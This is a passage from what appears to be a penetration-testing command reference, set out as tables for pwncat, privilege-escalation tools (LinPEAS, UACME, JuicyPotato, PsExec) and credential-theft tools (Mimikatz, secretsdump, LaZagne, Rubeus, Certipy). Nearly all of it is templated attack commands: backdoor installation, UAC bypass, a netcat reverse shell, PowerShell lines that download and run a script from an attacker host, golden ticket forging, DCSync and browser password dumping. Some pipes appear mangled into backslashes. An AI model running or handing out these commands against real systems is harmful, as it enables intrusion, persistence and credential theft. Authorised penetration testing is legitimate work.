3	SSL Listener	pwncat-cs -lp {lport} --ssl > /opt/tsec/output/ 4.10.3_pwncat_ssl.txt	TXT
4	SSH Pivot	pwncat-cs -lp {lport} --ssl -m linux --identity {key} {user}@{target} > /opt/tsec/ output/ 4.10.4_pwncat_ssh_{target}.txt	TXT
5	Backdoor Install	pwncat-cs -lp {lport} --install {backdoor_type} > / opt/tsec/output/ 4.10.5_pwncat_backdoor.txt	TXT
6	Auto Escalate	pwncat-cs -lp {lport} --persist-escalate > /opt/ tsec/output/ 4.10.6_pwncat_escalate.txt	TXT
7	Windows Shell	pwncat-cs -lp {lport} -m windows > /opt/tsec/output/ 4.10.7_pwncat_windows.txt	TXT

Table 40 – continued

Mode	Name	Command	Output
8	File Upload	(pwncat) upload {local_file} {remote_path}	ACTION
9	File Download	(pwncat) download {remote_file} {local_path}	ACTION
10	Full Session	pwncat-cs -lp {lport} --ssl -m linux --persist-escalate --backdoor > /opt/tsec/ output/ 4.10.10_pwncat_full.txt	TXT

Phase 5: Privilege Escalation

Elevate access rights from standard user to administrative or root-level privileges. This phase is critical for achieving full system compromise.

Tool 5.1 — LinPEAS

The definitive Linux privilege escalation automation script.

Mode	Name	Command	Output
1	Standard Run	./linpeas.sh > /opt/tsec/ output/5.1.1_linpeas.txt	TXT
2	Full Scan	./linpeas.sh -a > /opt/tsec/ output/5.1.2_linpeas_full.txt	TXT
3	Password Supply	./linpeas.sh -P '{password}' > /opt/tsec/output/ 5.1.3_linpeas_password.txt	TXT
4	Network Enum	./linpeas.sh -N > /opt/tsec/ output/ 5.1.4_linpeas_network.txt	TXT
5	Password Search	./linpeas.sh -q > /opt/tsec/ output/ 5.1.5_linpeas_quiet.txt	TXT
6	Container Check	./linpeas.sh -c > /opt/tsec/ output/ 5.1.6_linpeas_container.txt	TXT
7	SUID Focus	./linpeas.sh \ grep -i 'suid' > /opt/tsec/output/ 5.1.7_linpeas_suid.txt	TXT

Table 41 – continued

Mode	Name	Command	Output
8	Writable Files	<code>./linpeas.sh \ grep -i 'writable' > /opt/tsec/output/5.1.8_linpeas_writable.txt</code>	TXT
9	Cron Jobs	<code>./linpeas.sh \ grep -i 'cron' > /opt/tsec/output/5.1.9_linpeas_cron.txt</code>	TXT
10	Maximum Enum	<code>./linpeas.sh -a -N -P '{password}' > /opt/tsec/output/5.1.10_linpeas_maximum.txt</code>	TXT

Tool 5.2 — WinPEAS

Windows privilege escalation enumeration — the PEASS-ng counterpart.

Mode	Name	Command	Output
1	Standard Scan	<code>winPEASany.exe > /opt/tsec/output/5.2.1_winpeas.txt</code>	TXT
2	Full Scan	<code>winPEASany.exe all > /opt/tsec/output/5.2.2_winpeas_full.txt</code>	TXT
3	Fast Scan	<code>winPEASany.exe fast > /opt/tsec/output/5.2.3_winpeas_fast.txt</code>	TXT
4	Domain Joined	<code>winPEASany.exe domain > /opt/tsec/output/5.2.4_winpeas_domain.txt</code>	TXT
5	Services Check	<code>winPEASany.exe \ findstr /i 'service' > /opt/tsec/output/5.2.5_winpeas_services.txt</code>	TXT
6	Registry Check	<code>winPEASany.exe \ findstr /i 'registry' > /opt/tsec/output/5.2.6_winpeas_registry.txt</code>	TXT
7	Scheduled Tasks	<code>winPEASany.exe \ findstr /i 'schedule' > /opt/tsec/output/5.2.7_winpeas_scheduled.txt</code>	TXT
8	Token Analysis	<code>winPEASany.exe \ findstr /i 'token' > /opt/tsec/output/5.2.8_winpeas_tokens.txt</code>	TXT

Table 42 – continued

Mode	Name	Command	Output
9	AutoLogon	winPEASany.exe \ findstr /i 'autologon' > /opt/tsec/ output/ 5.2.9_winpeas_autologon.txt	TXT
10	Comprehensive	winPEASany.exe all quiet > / opt/tsec/output/ 5.2.10_winpeas_comprehensive.txt	TXT

Tool 5.3 — GTFONow

Automated GTFOBins exploitation for misconfigured sudo/SUID.

Mode	Name	Command	Output
1	Full Check	gtfonow -a > /opt/tsec/ output/5.3.1_gtfonow_full.txt	TXT
2	Sudo Check	gtfonow -s > /opt/tsec/ output/5.3.2_gtfonow_sudo.txt	TXT
3	SUID Check	gtfonow -u > /opt/tsec/ output/5.3.3_gtfonow_suid.txt	TXT
4	Capabilities	gtfonow -c > /opt/tsec/ output/5.3.4_gtfonow_caps.txt	TXT
5	Auto Exploit	gtfonow -a -e > /opt/tsec/ output/ 5.3.5_gtfonow_exploit.txt	TXT
6	Verbose	gtfonow -a -v > /opt/tsec/ output/ 5.3.6_gtfonow_verbose.txt	TXT
7	Custom Binary	gtfonow -b {binary_path} > / opt/tsec/output/ 5.3.7_gtfonow_binary.txt	TXT
8	Safe Mode	gtfonow -a --safe > /opt/ tsec/output/ 5.3.8_gtfonow_safe.txt	TXT
9	JSON Output	gtfonow -a -o json > /opt/ tsec/output/ 5.3.9_gtfonow.json	JSON
10	Emergency	gtfonow -a -e -v > /opt/tsec/ output/ 5.3.10_gtfonow_emergency.txt	TXT

Tool 5.4 — traitor

Automatic Linux privilege escalation exploit tool.

Mode	Name	Command	Output
1	Auto Exploit	<code>./traitor -a > /opt/tsec/output/5.4.1_traitor_auto.txt</code>	TXT
2	Docker Check	<code>./traitor -d > /opt/tsec/output/5.4.2_traitor_docker.txt</code>	TXT
3	Polkit Exploit	<code>./traitor -p > /opt/tsec/output/5.4.3_traitor_polkit.txt</code>	TXT
4	Kernel Exploit	<code>./traitor -k > /opt/tsec/output/5.4.4_traitor_kernel.txt</code>	TXT
5	Sudo Check	<code>./traitor -s > /opt/tsec/output/5.4.5_traitor_sudo.txt</code>	TXT
6	Verbose	<code>./traitor -a -v > /opt/tsec/output/5.4.6_traitor_verbose.txt</code>	TXT
7	Exploit Only	<code>./traitor -e {exploit_name} > /opt/tsec/output/5.4.7_traitor_specific.txt</code>	TXT
8	No Color	<code>./traitor -a --no-color > /opt/tsec/output/5.4.8_traitor_nocolor.txt</code>	TXT
9	Timeout	<code>./traitor -a -t 120 > /opt/tsec/output/5.4.9_traitor_timeout.txt</code>	TXT
10	Full Assessment	<code>./traitor -a -d -p -k -s -v > /opt/tsec/output/5.4.10_traitor_full.txt</code>	TXT

Tool 5.5 — Linux Exploit Suggester 2

Kernel exploit suggestion tool for Linux systems.

Mode	Name	Command	Output
1	Kernel Check	<code>python3 linux-exploit-suggester-2.py --kernel {kernel_version} > /opt/tsec/output/5.5.1_les2_kernel.txt</code>	TXT
2	Current Kernel	<code>python3 linux-exploit-suggester-2.py --uname '\$(uname -r)' > /opt/tsec/output/5.5.2_les2_current.txt</code>	TXT

Table 45 – continued

Mode	Name	Command	Output
3	Download	python3 linux-exploit-suggester-2.py --kernel {version} --download > /opt/tsec/output/ 5.5.3_les2_download.txt	TXT
4	Full Report	python3 linux-exploit-suggester-2.py --kernel {version} --full > / opt/tsec/output/ 5.5.4_les2_full.txt	TXT
5	Check Applicability	python3 linux-exploit-suggester-2.py --kernel {version} --check > /opt/tsec/output/ 5.5.5_les2_check.txt	TXT
6	JSON Output	python3 linux-exploit-suggester-2.py --kernel {version} --json > / opt/tsec/output/ 5.5.6_les2.json	JSON
7	Priority Filter	python3 linux-exploit-suggester-2.py --kernel {version} --priority high > /opt/tsec/output/ 5.5.7_les2_high.txt	TXT
8	Exclude Patched	python3 linux-exploit-suggester-2.py --kernel {version} --no-duplicates > /opt/tsec/ output/5.5.8_les2_nodup.txt	TXT
9	Source URLs	python3 linux-exploit-suggester-2.py --kernel {version} --sources > /opt/tsec/output/ 5.5.9_les2_sources.txt	TXT
10	Full Assessment	python3 linux-exploit-suggester-2.py --kernel {version} --full --download --json > /opt/ tsec/output/ 5.5.10_les2_assessment.txt	TXT

Tool 5.6 — UACME

User Account Control bypass collection (70+ methods).

Mode	Name	Command	Output
1	Method 33	akagi64.exe 33 > /opt/tsec/output/ 5.6.1_uacme_method33.txt	TXT
2	Method 65	akagi64.exe 65 > /opt/tsec/output/ 5.6.2_uacme_method65.txt	TXT
3	Method 70	akagi64.exe 70 > /opt/tsec/output/ 5.6.3_uacme_method70.txt	TXT
4	Method 23	akagi64.exe 23 > /opt/tsec/output/ 5.6.4_uacme_method23.txt	TXT
5	List Methods	akagi64.exe --list > /opt/tsec/output/ 5.6.5_uacme_list.txt	TXT
6	Custom Command	akagi64.exe 33 'cmd.exe /c whoami > C:\temp\out.txt' > /opt/tsec/output/ 5.6.6_uacme_custom.txt	TXT
7	Verify Elevation	akagi64.exe 33 'whoami /groups \\\ findstr High' > /opt/tsec/output/ 5.6.7_uacme_verify.txt	TXT
8	Silent PowerShell	akagi64.exe 33 'powershell.exe -enc {base64}' > /opt/tsec/output/ 5.6.8_uacme_silent.txt	TXT
9	Fileless Bypass	akagi64.exe 33 'powershell -nop -w hidden -c {command}' > /opt/tsec/output/ 5.6.9_uacme_fileless.txt	TXT
10	Reverse Shell	akagi64.exe 33 'powershell -nop -c iex(iwr http://{lhost}/{script})' > /opt/tsec/output/ 5.6.10_uacme_revshell.txt	TXT

Tool 5.7 — PSEXec (Sysinternals)

Remote command execution for SYSTEM-level access.

Mode	Name	Command	Output
1	Remote Shell	psexec.exe \\{target} -u {user} -p {password} cmd.exe > /opt/tsec/output/ 5.7.1_psexec_shell_{target}.txt	TXT
2	System Shell	psexec.exe \\{target} -u {user} -p {password} -s cmd.exe > /opt/tsec/output/ 5.7.2_psexec_system_{target}.txt	TXT
3	Single Command	psexec.exe \\{target} -u {user} -p {password} -s whoami > /opt/tsec/output/ 5.7.3_psexec_whoami_{target}.txt	TXT
4	Copy & Execute	psexec.exe \\{target} -u {user} -p {password} -c {local_exe} > /opt/tsec/ output/ 5.7.4_psexec_copy_{target}.txt	TXT
5	User Session	psexec.exe \\{target} -u {user} -p {password} -i {session} notepad.exe > /opt/ tsec/output/ 5.7.5_psexec_interactive_{target}.txt	TXT
6	Local System	psexec.exe -s -i cmd.exe > / opt/tsec/output/ 5.7.6_psexec_local.txt	TXT
7	Hash Auth	psexec.exe \\{target} -u {user} -p {ntlm_hash} -s cmd.exe > /opt/tsec/output/ 5.7.7_psexec_hash_{target}.txt	TXT
8	No Profile	psexec.exe \\{target} -u {user} -p {password} -e cmd.exe > /opt/tsec/output/ 5.7.8_psexec_noprofile_{target}.txt	TXT
9	Background	psexec.exe \\{target} -u {user} -p {password} -d notepad.exe > /opt/tsec/ output/ 5.7.9_psexec_bg_{target}.txt	TXT
10	Full Remote Admin	psexec.exe \\{target} -u {user} -p {password} -s -c -f {payload_exe} > /opt/tsec/ output/ 5.7.10_psexec_full_{target}.txt	TXT

Tool 5.8 — JuicyPotato / RoguePotato

DCOM/RPC privilege escalation via token impersonation.

Mode	Name	Command	Output
1	Basic Exploit	JuicyPotato.exe -l 1337 -c {clsid} -p {program} -a {args} > /opt/tsec/output/5.8.1_juicy_basic.txt	TXT
2	CLSID Auto	JuicyPotato.exe -l 1337 -p cmd.exe -a '/c whoami > C:\temp\out.txt' > /opt/tsec/output/5.8.2_juicy_autoclsid.txt	TXT
3	Netcat Shell	JuicyPotato.exe -l 1337 -p nc.exe -a '{lhost} {lport} -e cmd.exe' > /opt/tsec/output/5.8.3_juicy_netcat.txt	TXT
4	PowerShell	JuicyPotato.exe -l 1337 -p powershell.exe -a '-enc {base64_command}' > /opt/tsec/output/5.8.4_juicy_powershell.txt	TXT
5	RoguePotato	RoguePotato.exe -r {lhost} -e 'cmd.exe /c whoami' -l 9999 > /opt/tsec/output/5.8.5_rogue.txt	TXT
6	SweetPotato	SweetPotato.exe -p {program} -a {args} > /opt/tsec/output/5.8.6_sweet.txt	TXT
7	PrintSpoofer	PrintSpoofer.exe -c 'cmd.exe /c whoami' > /opt/tsec/output/5.8.7_printspoofer.txt	TXT
8	GodPotato	GodPotato.exe -cmd 'cmd /c whoami' > /opt/tsec/output/5.8.8_godpotato.txt	TXT
9	Coerced Auth	juicypotato.exe -l 1337 -t * -p {program} -c {clsid} > /opt/tsec/output/5.8.9_juicy_coerced.txt	TXT
10	Full SYSTEM	JuicyPotato.exe -l 1337 -p powershell.exe -a '-nop -w hidden -c iex(iwr http://{lhost}/shell.ps1)' > /opt/tsec/output/5.8.10_juicy_full.txt	TXT

Tool 5.9 — Watson

Missing KB patch enumeration for Windows privilege escalation.

Mode	Name	Command	Output
1	Basic Enum	Watson.exe > /opt/tsec/ output/5.9.1_watson.txt	TXT
2	Output File	Watson.exe > /opt/tsec/ output/5.9.2_watson_out.txt	TXT
3	Recent CVEs	Watson.exe \\\ findstr 'CVE-2024\\ CVE-2025\\ CVE-2026' > /opt/tsec/output/ 5.9.3_watson_recent.txt	TXT
4	Public Exploits	Watson.exe \\\ findstr 'Exploit: True' > /opt/tsec/ output/ 5.9.4_watson_public.txt	TXT
5	OS Version	systeminfo \\\ findstr /B / C:'OS Name' /C:'OS Version' && Watson.exe > /opt/tsec/ output/5.9.5_watson_os.txt	TXT
6	WES-NG	python3 wes.py systeminfo.txt -e > /opt/tsec/output/ 5.9.6_watson_wes.txt	TXT
7	Hotfix Check	systeminfo \\\ findstr 'Hotfix(s)' > /opt/tsec/ output/ 5.9.7_watson_hotfixes.txt	TXT
8	Specific KB	Watson.exe \\\ findstr '{kb_number}' > /opt/tsec/ output/5.9.8_watson_kb.txt	TXT
9	ExploitDB Pipe	Watson.exe \\\ grep 'CVE' \\\ while read cve; do searchsploit \$cve; done > / opt/tsec/output/ 5.9.9_watson_exploitdb.txt	TXT
10	Full Assessment	systeminfo > /opt/tsec/ output/ 5.9.10_watson_systeminfo.txt && Watson.exe > /opt/tsec/ output/ 5.9.10_watson_assessment.txt	TXT

Tool 5.10 — SUDO_KILLER

Identify and exploit sudo misconfigurations on Unix-like systems.

Mode	Name	Command	Output
1	Basic Scan	<code>./sudo_killer.sh -c -r /opt/tsec/output/5.10.1_sudokiller_report.txt</code>	TXT
2	CVE Check	<code>./sudo_killer.sh -c -e > /opt/tsec/output/5.10.2_sudokiller_cve.txt</code>	TXT
3	Exploit Test	<code>./sudo_killer.sh -c -i > /opt/tsec/output/5.10.3_sudokiller_exploit.txt</code>	TXT
4	Sudoers Analysis	<code>./sudo_killer.sh -c -s > /opt/tsec/output/5.10.4_sudokiller_sudoers.txt</code>	TXT
5	Environment Check	<code>./sudo_killer.sh -c -g > /opt/tsec/output/5.10.5_sudokiller_env.txt</code>	TXT
6	Version Check	<code>./sudo_killer.sh -v > /opt/tsec/output/5.10.6_sudokiller_version.txt</code>	TXT
7	Custom Sudoers	<code>./sudo_killer.sh -f {sudoers_file} -c > /opt/tsec/output/5.10.7_sudokiller_custom.txt</code>	TXT
8	LD_PRELOAD	<code>./sudo_killer.sh -c -l > /opt/tsec/output/5.10.8_sudokiller_ldpreload.txt</code>	TXT
9	Wildcard Check	<code>./sudo_killer.sh -c -w > /opt/tsec/output/5.10.9_sudokiller_wildcard.txt</code>	TXT
10	Full Audit	<code>./sudo_killer.sh -c -e -i -s -g -w -r /opt/tsec/output/5.10.10_sudokiller_full.txt</code>	TXT

Phase 6: Credential Access

Steal credentials from target systems through memory dumping, keylogging, network sniffing, and Kerberos attacks.

Tool 6.1 — Mimikatz

The iconic credential extraction tool for Windows.

Mode	Name	Command	Output
1	Logon Passwords	mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" > /opt/tsec/output/ 6.1.1_mimikatz_passwords.txt	TXT
2	LSA Dump	mimikatz "privilege::debug" "lsadump::lsa /patch" "exit" > /opt/tsec/output/ 6.1.2_mimikatz_lsa.txt	TXT
3	DCSync	mimikatz "privilege::debug" "lsadump::dcsync /domain: {domain} /user:{target_user}" "exit" > /opt/tsec/output/ 6.1.3_mimikatz_dcsync_{target_user}.txt	TXT
4	SAM Database	mimikatz "privilege::debug" "lsadump::sam" "exit" > /opt/ tsec/output/ 6.1.4_mimikatz_sam.txt	TXT
5	Kerberos Tickets	mimikatz "sekurlsa::tickets / export" "exit" > /opt/tsec/ output/ 6.1.5_mimikatz_tickets.txt	TXT
6	Golden Ticket	mimikatz "kerberos::golden / user:{user} /domain:{domain} /sid:{sid} /krbtgt:{hash} / id:500" "exit" > /opt/tsec/ output/ 6.1.6_mimikatz_golden.txt	TXT
7	Silver Ticket	mimikatz "kerberos::silver / user:{user} /domain:{domain} /sid:{sid} /target:{host} / service:{service} /rc4: {hash}" "exit" > /opt/tsec/ output/ 6.1.7_mimikatz_silver.txt	TXT
8	DPAPI Extract	mimikatz "dpapi::chrome / in:'%localappdata% \Google\Chrome\User Data\Default\Login Data'" "exit" > /opt/tsec/output/ 6.1.8_mimikatz_dpapi.txt	TXT
9	Token Elevate	mimikatz "token::elevate" "exit" > /opt/tsec/output/ 6.1.9_mimikatz_token.txt	TXT

Table 51 – continued

Mode	Name	Command	Output
10	Full Credential Dump	mimikatz "privilege::debug" "sekurlsa::logonpasswords" "lsadump::lsa /inject / name:krbtgt" "exit" > /opt/ tsec/output/ 6.1.10_mimikatz_full.txt	TXT

Tool 6.2 — Hashcat

The world's fastest password recovery tool with GPU acceleration.

Mode	Name	Command	Output
1	NTLM Crack	hashcat -m 1000 -a 0 {hash_file} {wordlist} -o / opt/tsec/output/ 6.2.1_hashcat_ntlm.txt	TXT
2	MD5 Brute	hashcat -m 0 -a 3 {hash_file} '?a?a?a?a?a?a' -o /opt/ tsec/output/ 6.2.2_hashcat_md5.txt	TXT
3	SHA256 Wordlist	hashcat -m 1400 -a 0 {hash_file} {wordlist} -o / opt/tsec/output/ 6.2.3_hashcat_sha256.txt	TXT
4	NTLMv2 Crack	hashcat -m 5600 -a 0 {hash_file} {wordlist} -o / opt/tsec/output/ 6.2.4_hashcat_netntlmv2.txt	TXT
5	bcrypt Attack	hashcat -m 3200 -a 0 {hash_file} {wordlist} -o / opt/tsec/output/ 6.2.5_hashcat_bcrypt.txt	TXT
6	Mask Attack	hashcat -m 1000 -a 3 {hash_file} '?u?l?l?l?d?d? s' -o /opt/tsec/output/ 6.2.6_hashcat_mask.txt	TXT
7	Hybrid Attack	hashcat -m 1000 -a 6 {hash_file} {wordlist} '?d?d? d?d' -o /opt/tsec/output/ 6.2.7_hashcat_hybrid.txt	TXT

Table 52 – continued

Mode	Name	Command	Output
8	Rules Attack	hashcat -m 1000 -a 0 {hash_file} {wordlist} -r {rules_file} -o /opt/tsec/ output/ 6.2.8_hashcat_rules.txt	TXT
9	LM Hash Crack	hashcat -m 3000 -a 3 {hash_file} '?a?a?a?a?a?a' -o /opt/tsec/output/ 6.2.9_hashcat_lm.txt	TXT
10	Full Benchmark	hashcat -m 1000 -a 0 {hash_file} {wordlist} -O -w 3 --force -o /opt/tsec/ output/ 6.2.10_hashcat_full.txt	TXT

Tool 6.3 — secretsdump.py (Impacket)

Remotely dump SAM, LSA secrets, and NTDS.dit from Windows systems.

Mode	Name	Command	Output
1	Remote SAM	secretsdump.py {domain}/ {user}:{password}@{target} > /opt/tsec/output/ 6.3.1_secretsdump_sam_{target}.txt	TXT
2	DCSync Attack	secretsdump.py {domain}/ {user}:{password}@{dc_ip} -just-dc-ntlm > /opt/tsec/ output/ 6.3.2_secretsdump_dcsync_{dc}.txt	TXT
3	NTDS Extract	secretsdump.py -ntds {ntds_file} -system {system_hive} LOCAL > /opt/ tsec/output/ 6.3.3_secretsdump_ntds.txt	TXT
4	SAM Hives	secretsdump.py -sam {sam_hive} -system {system_hive} LOCAL > /opt/ tsec/output/ 6.3.4_secretsdump_hives.txt	TXT
5	Pass-the-Hash	secretsdump.py -hashes {lmhash}:{nthash} {domain}/ {user}@{target} > /opt/tsec/ output/ 6.3.5_secretsdump_pth_{target}.txt	TXT

Table 53 – continued

Mode	Name	Command	Output
6	VSS Method	secretsdump.py {domain}/ {user}:{password}@{target} -use-vss > /opt/tsec/output/ 6.3.6_secretsdump_vss_{target}.txt	TXT
7	Kerberos Auth	secretsdump.py -k -no-pass {domain}/{user}@{target} > / opt/tsec/output/ 6.3.7_secretsdump_kerb_{target}.txt	TXT
8	History Hashes	secretsdump.py {domain}/ {user}:{password}@{dc_ip} -history > /opt/tsec/output/ 6.3.8_secretsdump_history_{dc}.txt	TXT
9	User Targeted	secretsdump.py {domain}/ {user}:{password}@{dc_ip} -just-dc-user {target_user} > /opt/tsec/output/ 6.3.9_secretsdump_user_{target_user}.txt	TXT
10	Full Domain Dump	secretsdump.py {domain}/ {user}:{password}@{dc_ip} -just-dc-ntlm -history -pwd-last-set > /opt/tsec/ output/ 6.3.10_secretsdump_full_{dc}.txt	TXT

Tool 6.4 — John the Ripper

Fast password cracker with extensive hash type support.

Mode	Name	Command	Output
1	Auto Detect	john {hash_file} > /opt/tsec/ output/6.4.1_john_auto.txt	TXT
2	Wordlist	john --wordlist={wordlist} {hash_file} > /opt/tsec/ output/ 6.4.2_john_wordlist.txt	TXT
3	Incremental	john --incremental {hash_file} > /opt/tsec/ output/ 6.4.3_john_incremental.txt	TXT
4	Rules Attack	john --wordlist={wordlist} --rules {hash_file} > /opt/ tsec/output/ 6.4.4_john_rules.txt	TXT

Table 54 – continued

Mode	Name	Command	Output
5	NTLM Format	john --format=nt {hash_file}	TXT
		> /opt/tsec/output/ 6.4.5_john_ntlm.txt	
6	Show Cracked	john --show {hash_file} > /	TXT
		opt/tsec/output/ 6.4.6_john_show.txt	
7	GPU Acceleration	john --format={format}	TXT
		--device=gpu {hash_file} > /	
		opt/tsec/output/ 6.4.7_john_gpu.txt	
8	SHA512crypt	john --format=sha512crypt	TXT
		{hash_file} > /opt/tsec/ output/6.4.8_john_sha512.txt	
9	Session Resume	john --restore={session_name}	TXT
		> /opt/tsec/output/ 6.4.9_john_restore.txt	
10	Comprehensive	john --wordlist={wordlist}	TXT
		--rules --incremental {hash_file} > /opt/tsec/ output/6.4.10_john_full.txt	

Tool 6.5 — LaZagne

Cross-platform credential recovery from local software stores.

Mode	Name	Command	Output
1	All Modules	lazagne all > /opt/tsec/ output/6.5.1_lazagne_all.txt	TXT
2	Browsers	lazagne browsers > /opt/tsec/ output/ 6.5.2_lazagne_browsers.txt	TXT
3	Windows Credential	lazagne windows > /opt/tsec/ output/ 6.5.3_lazagne_windows.txt	TXT
4	Databases	lazagne databases > /opt/ tsec/output/ 6.5.4_lazagne_databases.txt	TXT
5	WiFi Passwords	lazagne wifi > /opt/tsec/ output/6.5.5_lazagne_wifi.txt	TXT
6	Git Credentials	lazagne git > /opt/tsec/ output/6.5.6_lazagne_git.txt	TXT
7	Chats & Mails	lazagne chats mails > /opt/ tsec/output/ 6.5.7_lazagne_chats.txt	TXT

Table 55 – continued

Mode	Name	Command	Output
8	Quiet Mode	lazagne all -quiet -output / opt/tsec/output/ 6.5.8_lazagne_quiet.txt	TXT
9	Specific Browser	lazagne browsers -firefox > / opt/tsec/output/ 6.5.9_lazagne_firefox.txt	TXT
10	Full Credential Sweep	lazagne all -vv -output /opt/ tsec/output/ 6.5.10_lazagne_full.txt	TXT

Tool 6.6 — pypykatz

Pure Python Mimikatz implementation for credential extraction.

Mode	Name	Command	Output
1	LSASS Dump	pypykatz lsa minidump {lsass.dmp} > /opt/tsec/ output/ 6.6.1_pypykatz_lsass.txt	TXT
2	Live Registry	pypykatz live lsa > /opt/ tsec/output/ 6.6.2_pypykatz_live.txt	TXT
3	SAM Hives	pypykatz registry {system_hive} {sam_hive} > / opt/tsec/output/ 6.6.3_pypykatz_sam.txt	TXT
4	Cached Creds	pypykatz registry {security_hive} {system_hive} --json > /opt/tsec/output/ 6.6.4_pypykatz_cached.json	JSON
5	DPAPI Secrets	pypykatz dpapi minidump {lsass.dmp} > /opt/tsec/ output/ 6.6.5_pypykatz_dpapi.txt	TXT
6	Kerberos Tickets	pypykatz kerberos minidump {lsass.dmp} > /opt/tsec/ output/ 6.6.6_pypykatz_kerberos.txt	TXT
7	LSA Secrets	pypykatz registry {security_hive} --lsa-secret > /opt/tsec/output/ 6.6.7_pypykatz_lsa.txt	TXT

Table 56 – continued

Mode	Name	Command	Output
8	JSON Output	<code>pypykatz lsa minidump {dump} -o json > /opt/tsec/output/ 6.6.8_pypykatz.json</code>	JSON
9	Backup Key	<code>pypykatz dpapi backupkeys {security_hive} > /opt/tsec/ output/ 6.6.9_pypykatz_backup.txt</code>	TXT
10	Full Analysis	<code>pypykatz lsa minidump {lsass.dmp} && pypykatz dpapi minidump {lsass.dmp} > /opt/ tsec/output/ 6.6.10_pypykatz_full.txt</code>	TXT

Tool 6.7 — Kerbrute

Kerberos pre-authentication brute-forcing and user enumeration.

Mode	Name	Command	Output
1	User Enum	<code>kerbrute userenum --dc {dc_ip} -d {domain} {userlist} -o /opt/tsec/ output/ 6.7.1_kerbrute_enum.txt</code>	TXT
2	Password Spray	<code>kerbrute passwordspray --dc {dc_ip} -d {domain} {userlist} {password} -o / opt/tsec/output/ 6.7.2_kerbrute_spray.txt</code>	TXT
3	Brute Force	<code>kerbrute bruteuser --dc {dc_ip} -d {domain} {wordlist} {username} -o / opt/tsec/output/ 6.7.3_kerbrute_brute.txt</code>	TXT
4	AS-REP Roast	<code>kerbrute userenum --dc {dc_ip} -d {domain} {userlist} 2>&1 \ grep 'no pre-auth' > /opt/tsec/output/ 6.7.4_kerbrute_asrep.txt</code>	TXT
5	Safe Spray	<code>kerbrute passwordspray --dc {dc_ip} -d {domain} {userlist} {pass} -t 1 -o / opt/tsec/output/ 6.7.5_kerbrute_safe.txt</code>	TXT

Table 57 – continued

Mode	Name	Command	Output
6	Custom KDC	kerbrute userenum --kdc {kdc_host} -d {domain} {userlist} -o /opt/tsec/ output/6.7.6_kerbrute_kdc.txt	TXT
7	JSON Output	kerbrute userenum --dc {dc_ip} -d {domain} {userlist} -o /opt/tsec/ output/6.7.7_kerbrute.json	JSON
8	Delay Control	kerbrute passwordspray --dc {dc_ip} -d {domain} {userlist} {pass} --delay 5 -o /opt/tsec/output/ 6.7.8_kerbrute_delay.txt	TXT
9	Downgrade	kerbrute userenum --dc {dc_ip} -d {domain} {userlist} --downgrade -o / opt/tsec/output/ 6.7.9_kerbrute_downgrade.txt	TXT
10	Full Domain Audit	kerbrute userenum --dc {dc_ip} -d {domain} {userlist} -o /opt/tsec/ output/ 6.7.10_kerbrute_audit.txt && kerbrute passwordspray --dc {dc_ip} -d {domain} {userlist} {pass}	TXT

Tool 6.8 — Rubeus

C# toolset for raw Kerberos interaction and abuse.

Mode	Name	Command	Output
1	Kerberoast	Rubeus.exe kerberoast / format:hashcat /outfile:/opt/ tsec/output/ 6.8.1_rubeus_kerberoast.txt	TXT
2	AS-REP Roast	Rubeus.exe asreproast / format:hashcat /outfile:/opt/ tsec/output/ 6.8.2_rubeus_asrep.txt	TXT
3	Ticket Dump	Rubeus.exe dump / service:krbtgt /outfile:/opt/ tsec/output/ 6.8.3_rubeus_tickets.txt	TXT

Table 58 – continued

Mode	Name	Command	Output
4	Pass the Ticket	Rubeus.exe ptt /ticket: {ticket_kirbi} > /opt/tsec/ output/6.8.4_rubeus_ptt.txt	TXT
5	Golden Ticket	Rubeus.exe golden /user: {user} /domain:{domain} /sid: {sid} /krbtgt:{hash} /ptt > / opt/tsec/output/ 6.8.5_rubeus_golden.txt	TXT
6	Silver Ticket	Rubeus.exe silver /user: {user} /domain:{domain} /sid: {sid} /target:{host} / service:cifs /rc4:{hash} /ptt > /opt/tsec/output/ 6.8.6_rubeus_silver.txt	TXT
7	TGT Renewal	Rubeus.exe renew /ticket: {tgt_kirbi} /ptt > /opt/tsec/ output/6.8.7_rubeus_renew.txt	TXT
8	S4U Abuse	Rubeus.exe s4u /user:{user} / rc4:{hash} / impersonateuser:admin / msdssp: http://{host} /ptt > / opt/tsec/output/ 6.8.8_rubeus_s4u.txt	TXT
9	Brute Force	Rubeus.exe brute /password: {password} /noticket > /opt/ tsec/output/ 6.8.9_rubeus_brute.txt	TXT
10	Full Kerberos Audit	Rubeus.exe kerberoast / format:hashcat && Rubeus.exe asreproast /format:hashcat && Rubeus.exe dump > /opt/tsec/ output/6.8.10_rubeus_full.txt	TXT

Tool 6.9 — Certipy

Active Directory Certificate Services enumeration and abuse.

Mode	Name	Command	Output
1	CA Enum	certipy find -u {user} @{domain} -p {password} -dc-ip {dc_ip} -output /opt/ tsec/output/ 6.9.1_certipy_ca.json	JSON

Table 59 – continued

Mode	Name	Command	Output
2	Vulnerable Templates	certipy find -u {user} @{domain} -p {password} -dc-ip {dc_ip} -vulnerable -output /opt/tsec/output/ 6.9.2_certipy_vuln.json	JSON
3	ESC1 Attack	certipy req -u {user} @{domain} -p {password} -dc-ip {dc_ip} -ca {ca} -template {template} -upn administrator -output /opt/ tsec/output/ 6.9.3_certipy_esc1.json	JSON
4	ESC8 Attack	certipy relay -target http:// {ca}/certsrv/certfnsh.asp -ca {ca} > /opt/tsec/output/ 6.9.4_certipy_esc8.txt	TXT
5	Certificate Auth	certipy auth -pfx {cert}.pfx -dc-ip {dc_ip} > /opt/tsec/ output/6.9.5_certipy_auth.txt	TXT
6	ESC11 Attack	certipy find -u {user} @{domain} -p {password} -dc-ip {dc_ip} -scheme ldaps -output /opt/tsec/output/ 6.9.6_certipy_esc11.json	JSON
7	Template Abuse	certipy req -u {user} @{domain} -p {password} -dc-ip {dc_ip} -ca {ca} -template {template} -on-behalf-of {domain} \\{target_user} -pfx {cert}.pfx > /opt/tsec/ output/ 6.9.7_certipy_abuse.txt	TXT
8	BloodHound	certipy find -u {user} @{domain} -p {password} -dc-ip {dc_ip} -old-bloodhound -output /opt/ tsec/output/ 6.9.8_certipy_bloodhound.json	JSON
9	Shadow Credentials	certipy shadow auto -u {user} @{domain} -p {password} -dc-ip {dc_ip} -account {target} > /opt/tsec/output/ 6.9.9_certipy_shadow.txt	TXT

Table 59 – continued

Mode	Name	Command	Output
10	Full ADCS Audit	certipy find -u {user} @{domain} -p {password} -dc-ip {dc_ip} -vulnerable -json -output /opt/tsec/ output/6.9.10_certipy_full	JSON

Tool 6.10 — NetExec (NXC)

